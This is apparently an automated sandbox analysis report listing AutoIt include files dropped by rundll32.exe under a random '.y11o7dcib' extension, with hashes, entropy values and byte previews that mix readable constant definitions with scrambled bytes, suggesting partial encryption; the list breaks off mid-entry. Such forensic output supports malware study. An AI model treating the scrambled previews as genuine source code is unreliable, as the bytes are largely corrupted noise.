SHA-512:	9BDEC701212314EDB7BE8FE1C1D3319F58EBA5D42EEAB91DD2746A7DDECF2DC089A1734F28CAF878AA55BE083D431668BA5330CA85BB25DDB0322C3BA604E5D7
Malicious:	false
Preview:	O...A.\FRh]S~t. w.npvj\|.\|....=c.I7g....B.Y.>v.J.....b-......F==================================================================================..; Title .........: API Constants UDF LibraryL..u.M.tr.;yE.k9."pL.o.-...,.:~.Z9t...r:_.O*....^..q>......glish..; Description ...: System error codes to be used with WinAPIEx UDF library..; Author(s) .....: Yashied..; ===============Q......V.;..NC..q.p.....b....=c.I7g....B.Y.>v.J.....b-......F================================================....; #CONSTANTS# ==============================================================Q......V.;..NC..q.p.....b....=c.I7g....B.Y.>v.J.....UW.......nst $ERROR_SUCCESS = 0 ; The operation completed successfully...Global Const $ERROR_INVALID_FUNCTION = 1 ; Incorrect function...+...X.z.SuJ.W;.x....qb\|......tU..T7z...+X..p2.......1~.....[the file specified...Global Const $ERROR_PATH_NOT_FOUND = 3 ; The system cannot find the path specified...Global Const $ERROR_TO#...m.v;xHap:2.yl.m.....7...;Ht;.Ti;^..

C:\Program Files (x86)\autoit3\Include\APIFilesConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	27747
Entropy (8bit):	6.683539317046246
Encrypted:	false
SSDEEP:	384:pvvPEfa+sVw75OCYdIMIlFtcE6WHk0cC28V6qZGhyXlhjjOdVaP7CGVMTPdV5XH4:9vUKQP+G6FVx9QG1Y5X4WFey
MD5:	E026A79B798AAF81F299CE54920E11B8
SHA1:	3F476F289E685BF475C166619FF5F0FF9D6127B9
SHA-256:	B93E5BFD93B862EB1F1EAB51AE1B79122E6299A6E2E605BB211148DC9CA0DD8A
SHA-512:	4CCF4718946C13951F7D88B6977D6C431D4BC4E452763D1722FE6888BFFB1E08240E969A6E59482B1A443A7B146C225F16E2532DF30C00167E0FF8BDC1C2977D
Malicious:	false
Preview:	.^.j.h.y(3..M..(_.]....v.......M}b9....gX..H....<)s.C....'.g.B.==================================================================================..; Title .........: WinAPIFiles Constants UDF.{.k.\|8e%:....Q:..M...oV.H{V.d.2,m...zV..[......u.2..Y.{X?.Q.....: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ==============..F4. w!8a......h.C...........M}b9....gX..H....<)s.C....'.g.B.=================================================....; #CONSTANTS# =============================================================..F4. w!8a......h.C...........M}b9....gX..H....<)s.C..3.!.....API_BackupRead(), _WinAPI_BackupWrite()..Global Const $BACKUP_ALTERNATE_DATA = 0x00000004..Global Const $BACKUP_DATA = 0x0000000.:qN.r(}i\|..F..q..=....kb.csv..M`o\|....jU..x+..cu".=..M.:...<.UP_LINK = 0x00000005..Global Const $BACKUP_OBJECT_ID = 0x00000007..Global Const $BACKUP_PROPERTY_DATA = 0x00000006..Global Const..9H.V.LZ...i..`...*....[......@xR.._.

C:\Program Files (x86)\autoit3\Include\APIGdiConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19736
Entropy (8bit):	6.795190444335875
Encrypted:	false
SSDEEP:	384:BTSulkjmYiPQ9zXprKhmDJoFFqvzUZ1v+5oDvzy:kulgXlQmuFIwZ1vwWO
MD5:	D02762D2D6B944C8AEA6611B6E849F58
SHA1:	B1A153635E6C333D32951CA9FA5A7CBF66C459BF
SHA-256:	C7A04455B910BAC632C45C772AD6D29D3D440C40F7C0BEDF578126AAEBA8075B
SHA-512:	ACDAB9C7E198332446F83C0AC4AEB42BA41AD99A291A43AF6A1494F0F3323C2080892AEEFC4AFE32832AF00C222A60E1F58178246457F2045F68A6D7F81948AA
Malicious:	false
Preview:	...b...v.8........=q.).wQ..1...!;o.W..C.$.M....f...!.xTWk).==================================================================================..; Title .........: WinAPIGdi Constants UDF L..nD..k.....Cy.'.O....;8.bZ....shr.J..M.(.^......:ECH}. IDx:...: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ================....YH.$.f..70...I..Q.iL..1...!;o.W..C.$.M....f...!.xTWk).===============================================....; #CONSTANTS# ===============================================================....YH.$.f..70...I..Q.iL..1...!;o.W..C.$.M....V!)7'..>.8U.I_AddFontResourceEx(), _WinAPI_RemoveFontResourceEx()..Global Const $FR_PRIVATE = 0x10..Global Const $FR_NOT_ENUM = 0x20....; _W...H'..i.>...cy.K.6V...}\|..`....<E=..H.Z.V. .....tftH..95.Z. = 0..Global Const $COMPRESSION_BITMAP_JPEG = 1....; _WinAPI_CopyImage()..; in WinAPIConstants.au3....; _WinAPI_CreateBrushInd....?Mx.^.4...*N.D.......5..\....NHr.J.

C:\Program Files (x86)\autoit3\Include\APILocaleConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8071
Entropy (8bit):	6.73883728881696
Encrypted:	false
SSDEEP:	96:85+voNGqJoQbr6HmXwCpsTc7X81IRJ1d/Wo16rBVbwMzAuJCsX8vKTjOXg7lYW12:8YQ/prMSsisUJ1dwkGMyjOXg7CqrXS
MD5:	0BD6B93A783634D43B303FA279492AFD
SHA1:	FD28350E10338DB9B5C963DCE3C78DC1784D957B
SHA-256:	38788F63CAE4BD3FF3129000C4383558CFCB6115BA9EF9A8991F5663D6A37D3F
SHA-512:	87CF7C48459B72515D7A1E9AACDCA087E3E76CC8E500C8980B2A2709859E9CB2CFB771F61C3DBCA1AA75061B1BC4187D4384E71AF96B4FECA47B10F3795D8FA4
Malicious:	false
Preview:	X]....P.x...Vh....wg>)i.H.5.R...0..>&.......a..+.........z.==================================================================================..; Title .........: WinAPILocale Constants UD=...x.GW7........4)@Q....A.Om..d.G#!......r..-.m.SN.X..g......: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; =============F...7.......aX.......FLw.H.5.R...0..>&.......a..+.........z.==================================================....; #CONSTANTS# ============================================================F...7.......aX.......FLw.H.5.R...0..>&.......a..+...7$......nAPI_CompareString()..Global Const $LINGUISTIC_IGNORECASE = 0x00000010..Global Const $LINGUISTIC_IGNOREDIACRITIC = 0x00000020...qs..k..mx...x+.....~m4#..4.M.R....=..3+....I.>...U.O.I..w....IGNOREKANATYPE = 0x00010000..Global Const $NORM_IGNORENONSPACE = 0x00000002..Global Const $NORM_IGNORESYMBOLS = 0x00000004..Glob.X...d.A.3....,.....nj?%..H.8._...=...

C:\Program Files (x86)\autoit3\Include\APIMiscConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2193
Entropy (8bit):	7.615539637846958
Encrypted:	false
SSDEEP:	48:mHRUXe6Rsy/SYK5jKRrnZmt9g+PEVrNH1rxS:mqXR6Y8jKFZsmHrNHzS
MD5:	7CC75DC8E91A15AD98C8FDAC913E5211
SHA1:	0CBAF13854A1A7CB0C00D41759C4F655473DF77E
SHA-256:	DAD63616551454578572801B6B3D76A4BCEB1B4D4C54E005F17A8B7F7DC6B5C3
SHA-512:	F33DD0746D4658C73DF19E18753F2FF6EA4A7A99836D7F10EC9B9373CD724B1C436427781431E7FC64A59CBFC9DF8A35356911A49121D46502647AC29B29981C
Malicious:	false
Preview:	Y..]..8+<......b#..i(..P.&;.Hz...se..W.h.(x.{a,s....qje7...uGL...as,.......U%...[.{5.;;.Hz...se..W.h.(x.{a,s....qje7...uGL...as,.......U%.5.F./\|Wc&.[i...`v...q....\..5?1..OU.."#+.eh6..L..%nw......!l.2]..}OiO.U...G'7....Y.f.$s.wQ.u.mG..96?o...fT_....2)}......,}.\R..2aTh&.[i..w!6...H..u.}$.f?p .CC..?2<.W Z$.x..5,c.....)m.WO..5!.((.[i..m/+...BF...xH.}\|,s....qje7...uGL...as,.......U%...[.{5.;;.Hz...se..W.h.(x.{a,s....qje7...uGL...as,.......U%...[.{5.;;.Hz...se..W.h.(x.{Q.C........^.w.YQ...as,.......U%...[.{5.;;.Hz...se..W.h.(x.{a,s....qje7...uGL...as,.......U%...[.{5.;;.Hz...se..W.h.(x.{a,s..+.FlxU..M.8.n..%.~....../t.]A...gUur.Q...k.....e+...[e.fli~....tgU..L*...}../:1.....!Y...F.>8.67.Ew..>.4...JJ.:.f1.b._..`j.....N...x.A...l~!.......8.PN..f,hHB.4...wne....Z.e.%u.KVV".CG...86y....45.x....P....X(...V.v.1Aj..&.w!6...9...Y...\|,n.Y..\|gh:..)...._...!.......7U.ro4.f5.6~.Ew...~l..J..4.5..(/en.rh.....O.v..Q....l~!....../t.]A...gUur.Q...k.....v

C:\Program Files (x86)\autoit3\Include\APIProcConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5425
Entropy (8bit):	6.771824482030944
Encrypted:	false
SSDEEP:	96:fDdTyXBA1kmpFs8L7gAUPTHq5faioTkRh8ffo2BpxQcFaL9vQjmkS:Ldwk/gAxcHoiIYPS
MD5:	C24882321EE09A3A4EA2A750313E10B0
SHA1:	B64E66DDE13EAC9096193B7AA97D3C6BCE0F1D1A
SHA-256:	5ABAFA356DF25C282BA66C19EAB76E34270FB4D7CCB48DCA6E0E1858436C104E
SHA-512:	7DC749462E3E05873B992C08B2EFA42AE761E69EFCC7DAA64EEF24A4B945FBE35D2CE361B623852A43762385FCE7324C33ECB9400583D00885091D09E73675F2
Malicious:	false
Preview:	xa.F5OB.&.....\|s.a3.Q.s;~.....^..Jd.;...v..V2....x.3.G.Y...==================================================================================..; Title .........: WinAPIProc Constants UDF .a.W8H_.m......0..Op.5.^l1e...C.....y.&...z..Z.&..$.i..........: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ===============f5V.d...6xG....LD..G.(..%c.....^..Jd.;...v..V2....x.3.G.Y...================================================....; #CONSTANTS# ==============================================================f5V.d...6xG....LD..G.(..%c.....^..Jd.;...v..V2....H...A.;....PI_CreateProcess(), _WinAPI_CreateProcessWithToken()..Global Const $CREATE_BREAKAWAY_FROM_JOB = 0x01000000..Global Const $CREATE.L.c.oj.T.(...<6..bG.%..,n.....i...;.j..8^.OL~v....@.-.'....LE = 0x00000010..Global Const $CREATE_NEW_PROCESS_GROUP = 0x00000200..Global Const $CREATE_NO_WINDOW = 0x08000000..Global Const .K9`.nc.[.5....4=...5.P.x8c......W..Gi..

C:\Program Files (x86)\autoit3\Include\APIRegConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4873
Entropy (8bit):	7.850429214765483
Encrypted:	false
SSDEEP:	96:BOUEuWZ5OVjy+ckqCz/ySEsJ0kv0wcpxZYbKLE0SrhGR1D0k7WS:Bj65se3Cz/lEsJ0TZ6rcDdWS
MD5:	D04CE43F57E9C69184BFC6ADEED567C8
SHA1:	45D8CAE3C884D86B22654D5AE6BC9AB69454150E
SHA-256:	E259AEA4ADA2B9DE2FD33F6B9758B368A190E9D1FED563C6D27A1EEB67AB4C2D
SHA-512:	231D25E4EF359368F392E61FECF86574538A4DEB4E0C32E083D9648C50FA5AE1ACCEE2D64BA44334AC3599C8A9FB691D1748468A3D24D001477EDAA16A0B5E76
Malicious:	false
Preview:	A...-...G.b*9~.....xw..6....'`...(. .J....@sA.....D.O.G.._...\|......<r.I.6.....{y(....'`...(. .J....@sA.....D.O.G.._...\|......<r.I.6.....g/0y....4s..../.J...r..)\.BCB....../........3...Z.@:@........r30z....h.../...D....LCv..aP......Z....L......[..E.T.n...FG/+{...:....t.i.W..Z.]-...OT...........7..-..Z..E.T.~....@od;...:.....p.1.=..6.FnA.....D.O.G.._...\|......<r.I.6.....{y(....'`...(. .J....@sA.....D.O.G.._...\|......<r.I.6.....{y(....'`...(. .J....@Cv.'....6.!.;....B...\|......<r.I.6.....{y(....'`...(. .J....@sA.....D.O.G.._...\|......<r.I.6.....{y(....'`...(. .J....@sA...<.s.R.-....+...2..\.d=W..}...FVnm......{1...f.=.'.x.4.9.ryh..&.'.....B...K..I.!.[......dp..C.....J....E.^.1...@nQ. 'v......9...B......m.^.m$.T...safy5....v2..V.s....k./.9.{hu.. .7./...5.a...D.c.XT.d.....c..V.....E....A.E.W....w...OL]......Z...!.......x.^.y5.N...;9.(z....u3...E.O.2.~.".%.hrp..0.R.Z......-...[.!kd1.H...rl..E..._......Z

C:\Program Files (x86)\autoit3\Include\APIResConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6799
Entropy (8bit):	6.781770392031311
Encrypted:	false
SSDEEP:	96:6dFH1oSYP+Qy1/njM93dPDSzShivAvk1QxpBttERjBTqFdhVxYyS:6dFH1o3u/w931DjO6/BYRFT0YyS
MD5:	FDF859E5E0ED5DB0D464DB5D34F9D24C
SHA1:	E2AF1D3FE2110A7E99544265CCE22EFFD95F5ECD
SHA-256:	8FB0E1388BAD1DC749304689E128B2E5C8084D38BA89727509FDC4454DDF43C7
SHA-512:	0E88B0C9ED78AAB395599B2A5A4828BA13235FCDB04C954083921F42912B3BF3D5DF772793E64F1A37F5159D22B244198367BA7FF00AF06BB2BE7F1B825CF012
Malicious:	false
Preview:	9.i..Bd.I..........l..E.....AF.........}..Y.?..O.y....)>..'.q.==================================================================================..; Title .........: WinAPIRes Constants UDF Ls.u..N .............u.D...*..Z.......s..R.3..I....V.udQ.4.b...: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ================'.:.E.=.Y............`=.....AF.........}..Y.?..O.y....)>..'.q.===============================================....; #CONSTANTS# ==============================================================='.:.E.=.Y............`=.....AF.........}..Y.?..O.y..<./#k.s...I_FindResource(), _WinAPI_FindResourceEx(), _WinAPI_UpdateResource()..Global Const $RT_ACCELERATOR = 9..Global Const $RT_ANICURSU.'.X.1.n.......M.Q.yR.t..s58.g........,...W"....0..c.KA}.W...= 2..Global Const $RT_CURSOR = 1..Global Const $RT_DIALOG = 5..Global Const $RT_DLGINCLUDE = 17..Global Const $RT_FONT = 8..Glob{.'..Ys.D......j...}7.!..U..........

C:\Program Files (x86)\autoit3\Include\APIShPathConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3485
Entropy (8bit):	7.778594479610238
Encrypted:	false
SSDEEP:	96:zHhIIDW2g4ArwbpR/2xYMcTPEcbtWeZM6lf5S:zBnC4YwbbHPbJWeZBf5S
MD5:	82A8D149F75E3D8D7AFEEA0F70E903FF
SHA1:	6C13A80A05BBFA709C1783348B9E6ED84C707B58
SHA-256:	3C60CA5D46BA8704B204382E421C54B9CD7F3882424BBE6F9D6B5456CE274AF7
SHA-512:	F0D82A411DAC5BB1AEB621BC93EFF6662771A81E058A715CD09A6788C5B2F12691309BD8D8705348BFE91DB539CBB905780C830E0A17780167D6C1FDAC0B4C94
Malicious:	false
Preview:	.B.+..&....#......y.7.EZ...dfEF.2)..TD....i..[.~...e...............u.....J.}...0$.d.Ch<"b..dfEF.2)..TD....i..[.~...e...............u.....J.}...0$.T.EuUv+.SyuVU.!:..GC......5."C_........}.f.g...0....2..yv.-.s_:?..B6..[.jf.......z..W.m.:.c..............f....A..3...69.<..'ho+.Y7{VU.54.......'....7.T.6......._.T........D..2...69.,..:s7,..wuVU.54.......t....I...e...............u.....J.}...0$.d.Ch<"b..dfEF.2)..TD....i..[.~...e...............u.....J.}...0$.d.Ch<"b..dfEF.2)..TD....i..[.~.:.U.........i.t...u.....J.}...0$.d.Ch<"b..dfEF.2)..TD....i..[.~...e...............u.....J.}...0$.d.Ch<"b..dfEF.2)..TD....i..[.~...e..........N.{....0.C".....^.6..9!\0.E-{\..CK..!<...........u..........O.X.h...y$....RL...1.O?b..TQ?..mu......p....t..........%.g.D.)....H..`...AF...;.D@..b.{E[...........;....gbe...........x.e...h..H.J..!...bw.-.Z.SS..u..5>.BU..=6...Y....!V[.........w.c.n......uW.`..Ju.;..uBp1.By.-).PG..,4......[.u:=.4.......\...y......k2....HM.d.IX.X3.T87X8.ag..M,..

C:\Program Files (x86)\autoit3\Include\APIShellExConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	33423
Entropy (8bit):	6.863768477034176
Encrypted:	false
SSDEEP:	768:CXxhtf6+M+Z5k/q+VxK8DOemdW+dcn2dy26:CXxjf6qW/q+VxK8DOe0WwcnWc
MD5:	BD92A0C24DDB9A2B0C05884DF4301E74
SHA1:	F8512C2BAF13AA919ECBF04BA2EB0C02C980C818
SHA-256:	06A4900493C94540BC4FED28A2DA6A21F53B62FC9070A93BAFB6AE1FB60C1529
SHA-512:	9F2189496555F7CC1AA427D9CF9B331B877D5C418B89CAD6F9804719F57B5F9C5C9F2F95630988BA2285E4612DC607441A39DAD5D89F188FFA12063615EFF577
Malicious:	false
Preview:	P.Ha...K.yIi....Es. .......sz.} ...Z..#..Zq...7#...A(0.3....==================================================================================..; Title .........: WinAPIShellEx Constants U7..N......7Lc..W..<.....t..f:(Z4=.....$..I....$/....0tc.{..........: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ============N..?Y..[..1..+.Cn.T...r...sz.} ...Z..#..Zq...7#...A(0.3....===================================================....; #CONSTANTS# ===========================================================N..?Y..[..1..+.Cn.T...r...sz.} ...Z..#..Zq...7#...A.......inAPI_DllGetVersion()..Global Const $DLLVER_PLATFORM_WINDOWS = 0x01..Global Const $DLLVER_PLATFORM_NT = 0x02....; _WinAPI_ShellC..He.....n.%..Q..1.....!E.3j.[.S...."..P..Gq..=X..:S..I....l Const $SHCNE_ASSOCCHANGED = 0x8000000..Global Const $SHCNE_ATTRIBUTES = 0x00000800..Global Const $SHCNE_CREATE = 0x00000002..G..Dc.....c.(.U.;..,......3~?#p-...j.

C:\Program Files (x86)\autoit3\Include\APISysConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	16526
Entropy (8bit):	6.827946275803021
Encrypted:	false
SSDEEP:	384:NnRAFAu0BpeFHAD6yx4aN6lh0af+dQieIFN5/Aq0:N6WuOoA7x40Mxf+dQiem54q0
MD5:	900196AB9063FB307A18B74D228EE006
SHA1:	CC6D9C734F53D3325BDB681DE5C755C91A0AC542
SHA-256:	028FB82BAAA7C8AF0DAC300A1A37024B14D475C4913A07E520A8DF17E3EB2742
SHA-512:	BC0B9AAD0A9B9FFBB28E331FFD94999240B6D861FEB6391D3BD653F0A0B70C2942F9F73F4718629E506A7E488DE9A10E19DF9D1C6ABFF552F508036BC97A1324
Malicious:	false
Preview:	.^..0`.=..B........._..$....^..~....z.fC..$.6.H.......(7.:!.==================================================================================..; Title .........: WinAPISys Constants UDF L.U..<$....`....w.-.1...X.......,....t.hP...(...U.Z...p*.)2...: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ================.....x9_-......>....,..A....^..~....z.fC..$.6.H.......(7.:!.===============================================....; #CONSTANTS# ===============================================================.....x9_-......>....,..A....^..~....z.fC..$.6.H.6...J].i].I_ActivateKeyboardLayout(), _WinAPI_LoadKeyboardLayout()..Global Const $KLF_ACTIVATE = 0x00000001..Global Const $KLF_NOTELLSHELL.....u4R .....o.B..1...D....%....y.}..f^...).;.E.....wk.'_.nst $KLF_REPLACELANG = 0x00000010..Global Const $KLF_RESET = 0x40000000..Global Const $KLF_SETFORPROCESS = 0x00000100..Global Co.D...H$O..h....@....!..L.....n../.I.Tg

C:\Program Files (x86)\autoit3\Include\APIThemeConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12166
Entropy (8bit):	6.768503546477845
Encrypted:	false
SSDEEP:	192:yuML6FL6GMipUs77J8bdsPHEI+SlwESrRl8nS:yV6FLJMKZ7Q3SlISS
MD5:	BF2D955938A185F781D48CA13B033574
SHA1:	51DF4F7EC1F6E8C556B5B836434B1A511FBCDA48
SHA-256:	D4D1786F6CE12FC49ADDEC34CDB019F85C2DAB4EA4C90A97347CA41E4C5C29E5
SHA-512:	3B62B3EF806B67CAD44745876E46788918BA62EF395D5317D7D1AE0E89BF339C49329CA498B426BD59323C36242CE80B88EE7157FDA200C5D1CA2FA595BC8B88
Malicious:	false
Preview:	oaCr.`3...a....K..&F1...:..j..F....T..`.8..o(b.r......;..NJ==================================================================================..; Title .........: WinAPITheme Constants UDFlDDs.t%...p..}...6.u...lK..#....I...s.+..\|$R.t.....aJ.]Y....: English..; Description ...: Constants that can be used with UDF library..; Author(s) .....: Yashied, Jpm..; ==============q5.,.(j....?..4\|..82B...$..j..F....T..`.8..o(b.r......;..NJ=================================================....; #CONSTANTS# =============================================================q5.,.(j....?..4\|..82B...$..j..F....T..`.8..o(b.r......&p\|..API_BeginBufferedPaint()..Global Const $BPBF_COMPATIBLEBITMAP = 0..Global Const $BPBF_DIB = 1..Global Const $BPBF_TOPDOWNDIB = 2A.j}.w6...l...-...CP+...Vh.....?...Z..W.i.T3y.. .....Vit6%ASE = 0x01..Global Const $BPPF_NOCLIP = 0x02..Global Const $BPPF_NONCLIENT = 0x04....; _WinAPI_DrawThemeTextEx()..Global Const $.\yN.P.....M...)q.5?O...(2..;..........

C:\Program Files (x86)\autoit3\Include\AVIConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1897
Entropy (8bit):	7.544936075439127
Encrypted:	false
SSDEEP:	48:6jqNgjqNqggjqNgj2sjqNgjq3ye+gmOE/lIIUkAUYQ6eMdNgjqNWQuzOhczpS:6jqNgjqNqggjqNgj3jqNgjq3rzcAU36N
MD5:	73441BB266F6B2DE1178C864CB072F3C
SHA1:	5B89DB2568718EF501ABB7D4FD31BBDF3095E4D2
SHA-256:	9C1BA2FD42E18106A7F5D45FC22B56C7F6B336C346F187AEBD708A2809896111
SHA-512:	0937D01BCC2E99EF08F2525E41B7D5BF33B81D4A3B7FAF076089AA7C2CFCD21C20BF4E31F8CEC15A9DF7A1FBF4FD143995B18A8ABBF6207C8A6D9A65ECB2BE14
Malicious:	false
Preview:	...oS....I.......k.\..7o....?.}..QC..c...&<%W.C.akR\...+.Y...>..G.C....(=$.v.(..O....?.}..QC..c...&<%W.C.akR\...+.Y...>..G.C....(=$.F.....C....,.n..BP........url....Q\TA..C_.D....lH.@.M....#.(.A.5...P..^".n..BD...9......#J...?$....B6.J....mU....T..g %.k.g..O....Zr....P.Q.......h/p..].?M_...u......Bp.Z..^...)/x.e....3B..I..`..BP.........#J.C.akR\...+.Y...>..G.C....(=$.v.(..O....?.}..QC..c...&<%W.C.akR\...+.Y...>..G.C....(=$.v.(..O....?.}..QC..c...&<%g.s.gvL"..xW.0...>..G.C....(=$.v.(..O....?.}..QC..c...&<%W.C.akR\...+.Y...>..G.C....(=$.v.(..O....?.}..QC..c...&<%W.C.a[eZ...Uz.......aG.Z..I...1AZ...P..7e.......,.[.....0...ZBK5.,...? ...x6.D...lD...=H...5$X...T..=g....?.M.~....~....o!<+.-..."$......n....o.....S..VSF...A..<d...~L..}..Zs..e....osw....:7.....Xo.....lD...=H...5$^...F..6r...wV.....Q^........URH+.;..[el..as.......a....K..{sm.o.J..;t...oC....t3+...~.../1(g.9.34.....Be.D....Lv.4.^...JAO...[..3y..v].....G^..

C:\Program Files (x86)\autoit3\Include\Array.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	85539
Entropy (8bit):	6.733350562338797
Encrypted:	false
SSDEEP:	1536:BhP/mpm2plgqfOWvno/NmRmRQlbe47VyUCyCpFDwcEF6oZNenGUTSqT8O5o:Pkpl4zoe47VyzrFD5EF6oZNentSA75o
MD5:	346FBFF9A3077D1CE9DC9E1AD652F82C
SHA1:	E432BA210BC2EAA46662054ACDBDE1D630150CFF
SHA-256:	CF105A1709C8B9400AC9719F1AC08C4BDC4378D94E0CE77FE0F4790ED3069C0A
SHA-512:	4821CA7BB0EAFFD579D82142C6D594636DDECF97FEB4B718511478C5B8A4F99FE8EADF738281E896FCD0687DCFEB5FE9C89311AC89D0A108593F06C52C7CB515
Malicious:	false
Preview:	R....x..&....Z.....m..n.p.{...m.F2g..Th..l.y..D.?....a3..._.."AutoItConstants.au3"..#include "MsgBoxConstants.au3"..#include "StringConstants.au3"....; #INDEX# =============================LH.].0..6.P..m...3.S7vm..C.I)..\|.....4....W.w.....g......==========================..; Title .........: Array..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...KU...n..d....."...~..k?9.]^..f.V29.....}.x...C.d..xz......rik Pilsits, Ultima, Dale (Klaatu) Thompson, Cephas,randallc, Gary Frost, GEOSoft,..; Helias Gerassimou(hgeras)]U...l..@....p.....k.NG"3.N..Ts.](v......s.T....j...nz..._..uttall,..; Adam Moore (redndahead), SmOke_N, litlmike, Valik, Melba23..; ======================================LH.].0..6.P..m...3.S7vm..C.I)..\|.....4....W.w.....g......=========================....; #CURRENT# =======================================================================================LH.].0..6.P..m...3.S7vm..C.y....V..LX

C:\Program Files (x86)\autoit3\Include\ArrayDisplayInternals.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	42789
Entropy (8bit):	6.8345240547474955
Encrypted:	false
SSDEEP:	768:ly3AhHZ3dRpp6nsy3WbmnqEdoudQ4/hD3ymJjiKIaF19rCB8l5CaENGbMMlOQD:nXbmX4mJjdIGrKoQ6
MD5:	03B05A5C6E20359303450001BBDC29C8
SHA1:	2F75195E4B78F091B358B54337E22FE455C4FAB8
SHA-256:	3FA2CF9A60590D826D2DEDE62A451A98EEBA9450F05BC70B31796AE69B290926
SHA-512:	935373B33946E5E30C5377D2BADA910FE7DECBD8473E812A963C9132C2A3344025E30AD23A73503E194A833D676C94A31EB1F7D83299183CAAB972DDAAD0167F
Malicious:	false
Preview:	.].k.C?.I\.O.x,.`s.r..tf.U}./......`..(.y.};2O)...M...m.]o..xConstants.au3"..#include "StringConstants.au3"....; #INDEX# ===================================================================...5..f.Y.H..H.%Wm...#..,{.)5.}fB\|.S.)[.aIj.55-....Z#.X.\..N..........: Internal UDF Library for AutoIt3 _ArrayDisplay() and _DebugArrayDisplay()..; AutoIt Version : 3.3.16.1..; Description ....(.X/..].@..Sv.$.m.~4.``.`..3...u..\|.9.(Lu V...[.n.3.>W..(s) .....: Melba23, jpm, LarsJ, pixelsearch..; =================================================================================...5..f.Y.H..H.%Wm...#..,{.)5.}fB\|.S.)[.aIj.55.H...5K...f.8N.... Variables and Constants....; #VARIABLES# ======================================================================================...5..f.Y.H..H.%Wm...#..,{.)5.J`_'...a..\|.>.`(dF...Z...(..L........Global $_g_ArrayDisplay_bUserFunc = False..Global $_g_ArrayDisplay_hListView..Global $_g_ArrayDisplay_iTranspose..Global $_g.u.z.O...C.M.O\.#...g..fK!Sd.":.a.1.K'.

C:\Program Files (x86)\autoit3\Include\AutoItConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13068
Entropy (8bit):	6.787428114903298
Encrypted:	false
SSDEEP:	192:l8d48k8HpJ3jx0eFQ4CxRkyCXc323D98JiYeQtgrlZ/pEZ8fS:Sdp1J5jp24CxRkyCXc32ZvRrlZhEmK
MD5:	10DA8D1A00A541383F2364980901A6A0
SHA1:	0BE512C29C253E145895DE639A48D0346DB98158
SHA-256:	7D2D6801B02BC9158233EDB3B231E8B845BCA040165A4F5AA32970E7A3129A7E
SHA-512:	2769FE025C1EE5886F126632D11BF3713E8B9615735EA49B004B73B5F9991D7B810781AFD841DFFB542F268F153CAC0F6E1280C22345875055E248CDEEDA37FC
Malicious:	false
Preview:	].y.H...$..f.i.^.y3.dR...e.V...w....oX.._.\|.F.\|1..0.p&K}ci..==================================================================================..; Title .........: Constants..; AutoIt Versi..7......z..3.i.t.8~9_w..v..E.)...p.G.:h..B.$...(\|..b.m5Xndt..nstants to be included in an AutoIt v3 script...; Author(s) .....: JLandes, Nutster, CyberSlug, Holger, .....; =================CA......v..>.^.i.d-c.+....e.V...w....oX.._.\|.F.\|1..0.p&K}ci..==============================================....; #CONSTANTS# ================================================================CA......v..>.^.i.d-c.+....e.V...w....oX.._.\|.F.\|...-.(o.`<..way coords are used in the mouse and pixel functions..Global Const $OPT_COORDSRELATIVE = 0 ; Relative coords to the active windo.q..R..Vk..m...p..D.iY.......$.F...*...iE....-...a...h.#;./1&..nates (default)..Global Const $OPT_COORDSCLIENT = 2 ; Relative coords to client area....; Sets how errors are handled if a Run/R..@.I.O%..j...2.0\|-'.....9..(.}.>.3.~.

C:\Program Files (x86)\autoit3\Include\AutoItExitCodes.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2792
Entropy (8bit):	7.402148637504021
Encrypted:	false
SSDEEP:	24:oT09QI/eGQpKQFi3Z7L7RnPmw3rQkFQIMQBuQpPilQqJ2PKGs5ytxtmtZQ0887Qe:oT0XdL7h3dymNtct0CAH3DS
MD5:	1BFC743C15F51B77105A58FBCD386FCC
SHA1:	B39C4B05BEE830519E40CCB0EDB2A667FAE8BC65
SHA-256:	2F2238568609A1388402FDB3F6B1FE54B7B5BD421756F0447E8445FC19ED752C
